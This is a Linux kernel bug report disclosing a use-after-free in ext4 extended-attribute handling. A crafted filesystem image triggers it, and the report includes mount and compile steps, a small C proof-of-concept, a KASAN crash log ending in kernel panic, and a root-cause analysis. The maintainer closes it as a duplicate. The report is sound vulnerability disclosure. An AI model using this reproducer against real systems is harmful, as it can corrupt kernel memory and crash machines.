Bug 199997

Summary: use-after-free detected by KASAN in ext4_xattr_set_entry() when mounting and writing to a crafted ext4 image
Product: File System Reporter: Wen Xu (wen.xu)
Component: ext4Assignee: fs_ext4 (fs_ext4)
Status: RESOLVED DUPLICATE    
Severity: normal CC: tytso, wen.xu
Priority: P1    
Hardware: All   
OS: Linux   
Kernel Version: 4.17 Subsystem:
Regression: No Bisected commit-id:
Attachments: The (compressed) crafted image which causes crash

Description Wen Xu 2018-06-08 16:12:53 UTC
Created attachment 276403 [details]
The (compressed) crafted image which causes crash

- Overview
use-after-free detected by KASAN in ext4_xattr_set_entry() when mounting and writing to a crafted ext4 image

- Reproduce (ext4-dev branch)
# mkdir mnt
# mount -t 204.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);

  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    write(fd, (char *)buf, sizeof(buf));
    fdatasync(fd);
  }

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel Message
[  359.880029] ==================================================================
[  359.922858] BUG: KASAN: use-after-free in ext4_xattr_set_entry+0x1113/0x1860
[  359.924295] Write of size 1528337012 at addr ffff8801cf7de600 by task a.out/1376
[  359.925795]
[  359.926746]
[  359.927080] The buggy address belongs to the page:
[  359.928073] page:ffffea00073df780 count:2 mapcount:0 mapping:ffff8801f68289d0 index:0x11
[  359.929733] flags: 0x2ffff0000001064(referenced|lru|active|private)
[  359.931018] raw: 02ffff0000001064 ffff8801f68289d0 0000000000000011 00000002ffffffff
[  359.932614] raw: ffffea00073df760 ffffea00073df860 ffff8801ec6fed20 ffff8801de0c5500
[  359.934181] page dumped because: kasan: bad access detected
[  359.935328] page->mem_cgroup:ffff8801de0c5500
[  359.936228]
[  359.936568] Memory state around the buggy address:
[  359.937548]  ffff8801da997f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[  359.939026]  ffff8801da997f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[  359.940515] >ffff8801da998000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.941999]                    ^
[  359.942674]  ffff8801da998080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.944145]  ffff8801da998100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.945627] ==================================================================
[  360.071634] systemd[1]: segfault at 0 ip 0000000000000000 sp 00007fffe3a46480 error 14 in systemd[55b631836000+15c000]
[  360.074324] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a45550 error 5 in systemd[55b631836000+15c000]
[  360.076834] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a44610 error 5 in systemd[55b631836000+15c000]
[  360.079382] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a436d0 error 5 in systemd[55b631836000+15c000]
[  360.083627] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a42790 error 5 in systemd[55b631836000+15c000]
[  360.089843] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a41850 error 5 in systemd[55b631836000+15c000]
[  360.092404] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a40910 error 5 in systemd[55b631836000+15c000]
[  360.099378] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a3f9d0 error 5 in systemd[55b631836000+15c000]
[  360.119569] BUG: unable to handle kernel paging request at ffff8801da800000
[  360.122154] PGD 4ff40067 P4D 4ff40067 PUD 4ff47067 PMD 1da9d7063 PTE 80000001da800061
[  360.122871] EXT4-fs (dm-0): pa 0000000002a882ba: logic 17, phys. 7930598, len 15
[  360.123744] Oops: 0003 [#1] SMP KASAN PTI
[  360.125295] EXT4-fs error (device dm-0): ext4_mb_release_inode_pa:3854: group 242, free 15, pa_free 14
[  360.126139] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 mac_hid soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq raid1 raid0 multipath linear 8139too qxl drm_kms_helper syscopyarea sysfillrect crct10dif_pclmul sysimgblt fb_sys_fops ttm crc32_pclmul drm aesni_intel aes_x86_64 crypto_simd cryptd glue_helper pata_acpi 8139cp floppy mii
[  360.139451] CPU: 0 PID: 1376 Comm: a.out Tainted: G    B             4.17.0-rc4+ #5
[  360.141005] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  360.142915] RIP: 0010:__memset+0x24/0x30
[  360.143720] RSP: 0018:ffff8801f0e0f668 EFLAGS: 00010206
[  360.144796] RAX: 0000000000000000 RBX: ffff8801cf7de600 RCX: 000000000a02cf0e
[  360.146239] RDX: 0000000000000004 RSI: 0000000000000000 RDI: ffff8801da800000
[  360.147678] RBP: ffff8801f0e0f688 R08: ffffed003ee03ebb R09: ffff8801cf7de600
[  360.149133] R10: 0000000000000001 R11: ffffed003ee03eba R12: 000000005b189274
[  360.150582] R13: 0000000000000000 R14: 0000000000000080 R15: ffff8801f0e0f968
[  360.152038] FS:  00007fcb65979700(0000) GS:ffff8801f7000000(0000) knlGS:0000000000000000
[  360.153696] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  360.154873] CR2: ffff8801da800000 CR3: 00000001e0010000 CR4: 00000000000006f0
[  360.156338] Call Trace:
[  360.156878]  ? memset+0x31/0x40
[  360.157546]  ext4_xattr_set_entry+0x1113/0x1860
[  360.158486]  ? kasan_check_write+0x14/0x20
[  360.159341]  ? _raw_spin_lock_irqsave+0x2a/0x60
[  360.160281]  ? depot_save_stack+0x2cd/0x470
[  360.161158]  ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0
[  360.162259]  ? __find_get_block+0x106/0x400
[  360.164599]  ? __filemap_fdatawrite_range+0x19a/0x1f0
[  360.165661]  ? file_write_and_wait_range+0x66/0xb0
[  360.166684]  ? ext4_sync_file+0x1e3/0x670
[  360.167532]  ? _cond_resched+0x1a/0x50
[  360.168328]  ? __getblk_gfp+0x31/0x3f0
[  360.169406]  ? add_transaction_credits+0x13d/0x5e0
[  360.170412]  ? __ext4_get_inode_loc+0x231/0x680
[  360.171360]  ? __mark_inode_dirty+0x6f/0x4f0
[  360.172256]  ? jbd2_write_access_granted.part.9+0x89/0xa0
[  360.173404]  ext4_xattr_ibody_inline_set+0x53/0x1f0
[  360.174425]  ? __ext4_journal_get_write_access+0x3b/0x80
[  360.175525]  ext4_destroy_inline_data_nolock+0x1c0/0x340
[  360.176646]  ? ext4_create_inline_data+0x320/0x320
[  360.177647]  ? memcg_kmem_put_cache+0x1b/0xa0
[  360.178556]  ? jbd2__journal_start+0x19d/0x300
[  360.179489]  ext4_destroy_inline_data+0x4f/0x80
[  360.180931]  ext4_writepages+0x5c4/0x1500
[  360.181781]  ? __generic_file_write_iter+0x296/0x2e0
[  360.182824]  ? ext4_mark_inode_dirty+0x3d0/0x3d0
[  360.183792]  ? save_stack+0xb5/0xd0
[  360.184554]  ? aa_path_link+0x210/0x210
[  360.184785] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  360.185355]  ? kasan_slab_free+0xe/0x10
[  360.185535] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  360.187551]  ? kmem_cache_free+0x89/0x1e0
[  360.187560]  ? putname+0x80/0x90
[  360.187579]  ? do_sys_open+0x22e/0x2c0
[  360.187589]  ? __x64_sys_open+0x4c/0x60
[  360.188637] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  360.190659]  ? do_syscall_64+0x78/0x170
[  360.190665]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  360.190677]  ? iov_iter_init+0x82/0xc0
[  360.191812] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  360.192196]  do_writepages+0x37/0xb0
[  360.193170] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  360.193786]  ? ext4_mark_inode_dirty+0x3d0/0x3d0
[  360.193790]  ? do_writepages+0x37/0xb0
[  360.193796]  __filemap_fdatawrite_range+0x19a/0x1f0
[  360.193805]  ? delete_from_page_cache_batch+0x4e0/0x4e0
[  360.208556]  ? fsnotify+0x695/0x720
[  360.209518]  ? __fsnotify_inode_delete+0x20/0x20
[  360.210608]  file_write_and_wait_range+0x66/0xb0
[  360.211679]  ext4_sync_file+0x1e3/0x670
[  360.212566]  ? ext4_getfsmap+0x4d0/0x4d0
[  360.213483]  vfs_fsync_range+0x68/0x100
[  360.214416]  ? __fget_light+0xc9/0xe0
[  360.215269]  do_fsync+0x3d/0x70
[  360.216007]  __x64_sys_fdatasync+0x24/0x30
[  360.216891] Aborting journal on device dm-0-8.
[  360.217034]  do_syscall_64+0x78/0x170
[  360.219057]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  360.220247] RIP: 0033:0x7fcb65491800
[  360.221004] RSP: 002b:00007ffd32415ad8 EFLAGS: 00000246 ORIG_RAX: 000000000000004b
[  360.222526] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcb65491800
[  360.223960] RDX: 0000000000008000 RSI: 0000000000601080 RDI: 0000000000000003
[  360.225404] RBP: 00007ffd32415b10 R08: 00000000020de010 R09: 0000000000000000
[  360.226843] R10: 00000000000002e8 R11: 0000000000000246 R12: 00000000004005c0
[  360.228274] R13: 00007ffd32415c10 R14: 0000000000000000 R15: 0000000000000000
[  360.229799] Code: 90 90 90 90 90 90 90 66 66 90 66 90 49 89 f9 48 89 d1 83 e2 07 48 c1 e9 03 40 0f b6 f6 48 b8 01 01 01 01 01 01 01 01 48 0f af c6 <f3> 48 ab 89 d1 f3 aa 4c 89 c8 c3 90 49 89 f9 40 88 f0 48 89 d1
[  360.233615] RIP: __memset+0x24/0x30 RSP: ffff8801f0e0f668
[  360.234899] CR2: ffff8801da800000
[  360.235805] ---[ end trace 9f703e0d0e15b354 ]---
[  360.242689] EXT4-fs (dm-0): Remounting filesystem read-only
[  360.244596] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  360.246766] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  360.824026] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  365.277906] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  365.280186] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  365.282559] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  365.284934] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  365.287202] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  365.289527] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  365.291785] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  365.302362] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  365.302391] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  365.304613] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  365.320429] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  365.322697] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  365.324894] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  365.518376] show_signal_msg: 2144 callbacks suppressed
[  365.518382] irqbalance[1144]: segfault at 0 ip 0000000000000000 sp 00007fff7e960eb0 error 14 in irqbalance[400000+b000]
[  365.524510] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  366.046147] loop: Write error at byte offset 48128, length 1024.
[  366.049693] print_req_error: I/O error, dev loop0, sector 94
[  366.050898] Buffer I/O error on dev loop0, logical block 47, lost sync page write
[  366.052460] JBD2: Error -5 detected when updating journal superblock for loop0-8.
[  366.054025] Aborting journal on device loop0-8.
[  366.055025] loop: Write error at byte offset 48128, length 1024.
[  366.056270] print_req_error: I/O error, dev loop0, sector 94
[  366.057460] print_req_error: I/O error, dev loop0, sector 94
[  366.058619] Buffer I/O error on dev loop0, logical block 47, lost sync page write
[  366.060169] JBD2: Error -5 detected when updating journal superblock for loop0-8.
[  366.498567] systemd-timesyn[788]: segfault at 0 ip 0000000000000000 sp 00007ffcdc3db710 error 14 in systemd-timesyncd[55894c6c8000+21000]
[  366.526978] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.398000] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  370.398006] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  370.398452] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  370.400410] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  370.402912] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now
[  370.406161] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.409555] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.413134] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.417439] Core dump to |/usr/share/apport/apport 1 11 0 1 1 pipe failed
[  370.421501] Core dump to |/usr/share/apport/apport 968 11 0 1 968 pipe failed
[  370.425943] Core dump to |/usr/share/apport/apport 405 6 0 1 405 pipe failed
[  370.427931] Core dump to |/usr/share/apport/apport 930 11 0 1 930 pipe failed
[  370.433053] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.433092] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.433125] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.460543] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.461142] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.467551] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.483282] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling...
[  370.498433] systemd-cgroups[1380]: segfault at 1 ip 00005633d5019d1e sp 00007ffea259d8f0 error 6
[  370.498691] systemd: 38 output lines suppressed due to ratelimiting
[  370.500658]  in systemd-cgroups-agent[5633d4ff8000+40000]
[  370.502722] Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
[  370.502722]
[  370.589106] Kernel Offset: 0x5000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[  370.616526] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
[  370.616526]  ]---

- Reason 
https://elixir.bootlin.com/linux/latest/source/fs/ext4/xattr.c#L1693
	if (!s->not_found && here->e_value_offs) {
		/* Remove the old value. */
		void *first_val = s->base + min_offs;
		size_t offs = le16_to_cpu(here->e_value_offs);
		void *val = s->base + offs;

		memmove(first_val + old_size, first_val, val - first_val);
		memset(first_val, 0, old_size);
		min_offs += old_size;
`s` is a dangling pointer, where s->base is some uncontrolled address, later memmove() and memset() corrupt the kernel data and take whole system down.

This bug is not affected by patch https://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4.git/commit/?h=dev&id=8a2b307c21d4b290e3cbe33f768f194286d07c23. 
And from the kernel log, I am not sure whether this bug has the same root cause of https://bugzilla.kernel.org/show_bug.cgi?id=199977 I reported.

Reported by Wen Xu from SSLab, Gatech.
Comment 1 Theodore Tso 2018-06-13 16:06:46 UTC
Per the discussion in https://bugzilla.kernel.org/show_bug.cgi?id=199977#c6 this is a dup of #200001.  The same set of patches will address both of these issues.

*** This bug has been marked as a duplicate of bug 200001 ***